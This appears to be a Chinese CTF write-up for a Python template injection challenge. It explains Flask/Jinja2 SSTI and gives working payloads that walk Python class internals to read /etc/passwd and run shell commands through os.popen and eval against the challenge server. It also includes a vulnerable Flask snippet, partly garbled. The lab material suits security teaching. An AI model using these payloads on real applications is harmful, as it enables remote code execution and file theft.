目录标题
打开题目地址:
提示python模板注入,和题目的名字:Web_python_template_injection一样,都是让我们利用python模板注入漏洞来获取flag。
模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm开发都会用到模板引擎技术。
这里就是用模板引擎可以让php代码和html代码进行分离。
SSTI服务器模板注入
SSTI即(server-side template injection)服务器模板注入。SST服务器模板信任了用户的输入,并且执行这些内容,包括执行本机函数。模板注入的原理也很类似sql注入、xss注入、xml注入、命令注入等,都是通过输入一些指令在后端处理进行了语句的拼接然后执行。就像eval函数对传入的内容未加任何过滤一样。因此模板注入(SSTI)很容易导致远程代码执行(RCE)、信息泄露等漏洞。
python模板注入
python模板注入漏洞的产生在于Flask应用框架中render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,而且Flask模板中使用了Jinja2作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,在渲染的时候将{{}}包裹的内容作为变量解析替换,比如{undefined{1+1}}会被解析成2。
Flask应用框架
Flask是一个使用 Python 编写的轻量级Web应用框架。其WSGI(Web服务器网关接口)工具箱采用 Werkzeug ,模板引擎则使用Jinja2。flask在渲染时主要使用以下两种方法:
render_template
render_template_string
render_template用于渲染html文件,而render_template_string用于渲染html语句,当这个html语句是受用户控制的时候,就会出问题了。
Jinja2模板渲染引擎
Jinja2引擎存在以下三种语法:
控制结构{% %}
变量取值{{ }}
注释{# #}
jinja2模板中使用{{}}语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。问题就出在这里,{{}}内的内容,Jinja2渲染时不仅仅只进行填充和替换,还能够执行部分表达式。
例如一段后端使用Flask框架的代码:
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def test():
code = request.args.get('id')
html =%(code)
return render_template_string(html)
获取用户id之后,直接用render_template_string()函数渲染之后返回前端页面。
当你访问
127.0.0.1:8080/index/?id=1
页面就会显示1
当你访问
127.0.0.1:8080/index/?id={{1+1}}
页面就会显示2
Python中常用于ssti的魔术方法
__class__
:返回类型所属的对象
__mro__
:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__
:返回该对象所继承的基类// __base__和__mro__都是用来寻找基类的
__subclasses__
:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__
:类的初始化方法
__globals__
:对包含函数全局变量的字典的引用
__builtins__
:builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块
所以我们利用服务器模板注入的流程就是:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块->使用其中的函数。
回到题目
访问:
http://111.200.241.244:58985/{{1+1}}
成功返回了{{1+1}}的计算结果,说明存在python模板注入漏洞。
先用{{config.items()}}可以查看服务器的配置信息:
http://111.200.241.244:53862/{{config.items()}}
获取基类的一些方法
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
''.__class__.__mro__[2] //查看第三个基类
[].__class__.__bases__[0]
这5个都是返回该对象所继承的基类,
访问:
http://111.200.241.244:53862/{{().__class__.__base__}}
''.__class__.__mro__
用来查看所有基类,
访问:
http://111.200.241.244:53862/{{''.__class__.__mro__}}
获取基本类的子类
>>> [].__class__.__base__.__subclasses__()
之后可以查看所有基本类的子类:
http://111.200.241.244:53862/{{[].__class__.__base__.__subclasses__()}}
ssti服务器模板注入的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。其中我们可以利用的类有<type ‘file’>等。file一般是第40号,例如利用file类执行读取/etc/passwd文件:
>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
访问:
http://111.200.241.244:53862/{{().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
得到指定目录下的/etc/passwd文件内容
四种方法读取flag
(1)site._Printer类调用os.popen函数执行任意命令
由于我们想要读取到flag文件里的信息,所以选用 os.popen,首先我们要找到os模块的位置,他是位于<class ‘site._Printer’>里面 ,结果查找在第71个类。
之后通过.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()
来调用服务器的控制台并显示。
我们访问:
http://111.200.241.244:53862/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
得到本级目录下有文件fl4g和index.py
之后执行cat fl4g查看文件内容即可
访问:
http://111.200.241.244:52490/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
得到flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
(2)site._Printer类调用os.listdir函数执行查看本级目录下的文件
类似的,.__init__.__globals__['os'].listdir('.')
函数也可以读取本级目录下的文件:
>>>().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')
访问:
得到本级目录下有文件fl4g和index.py
之后查看fl4g文件内容即可,除了(1)中的任意命令执行使用catfl4g命令,也可以使用开始的第40号file类执行读取fl4g文件:
访问:
http://111.200.241.244:52490/{{().__class__.__base__.__subclasses__()[40]('fl4g').read()}}
得到flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
(3)catch_warnings类的linecache函数执行任意命令
os模块都是从catch_warnings类入手的,在所有模块中查找catch_warnings类的位置:
http://111.200.241.244:53862/{{[].__class__.__base__.__subclasses__()}}
为所有继承的基类中的第59个
之后查看catch_warnings类都存在哪些全局函数,可以找到linecache函数,os模块就在其中:
http://111.200.241.244:53862/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}
linecache函数在catch_warnings模块的第13个函数,
之后linecache函数通过调用eval函数执行__import__("os").popen("ls").read()
命令即可实现任意命令执行。
访问:
http://111.200.241.244:53862/{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )}}
也同样查看到当前目录下的文件fl4g和index.py
之后我们使用linecache函数调用eval函数执行__import__(“os”).popen(“cat fl4g”).read()命令。
访问:
http://111.200.241.244:52490/{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat fl4g").read()' )}}
得到flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
(4)遍历基类找函数执行__import __(“os”).popen(“ls”).read()命令
直接通过循环遍历逐层找到catch_warnings类,然后找到linecache函数,之后调用eval函数执行('__import__("os").popen("ls").read()')
,可以自动寻找相应函数实现任意命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}//在所有继承的基类中
{% if c.__name__ == 'catch_warnings' %} //先找到catch_warnings类
{% for b in c.__init__.__globals__.values() %}//在所有catch_warnings类的全局变量函数的字典的引用中
{% if b.__class__ == {}.__class__ %}//某个函数的字典的引用的所属类和当前对象所属类相同
{% if 'eval' in b.keys() %} //找到eval函数
{{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
访问:
http://111.200.241.244:52490/http://111.200.241.244:52490/{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("ls").read()') }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %}
之后我们可以继续通过循环遍历逐层找到catch_warnings类,然后找到linecache函数,之后调用eval函数执行('__import__("os").popen("cat fl4g").read()')
:
{% for c in [].__class__.__base__.__subclasses__() %}//在所有继承的基类中
{% if c.__name__ == 'catch_warnings' %} //先找到catch_warnings类
{% for b in c.__init__.__globals__.values() %}//在所有catch_warnings类的全局变量函数的字典的引用中
{% if b.__class__ == {}.__class__ %}//某个函数的字典的引用的所属类和当前对象所属类相同
{% if 'eval' in b.keys() %} //找到eval函数
{{ b['eval']('__import__("os").popen("cat fl4g").read()') }} //导入cmd 执行popen里的命令 read读出数据
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
访问
http://111.200.241.244:52490/http://111.200.241.244:52490/{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} {% endif %} {% endif %} {% endfor %}{% endif %}{% endfor %}
得到flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}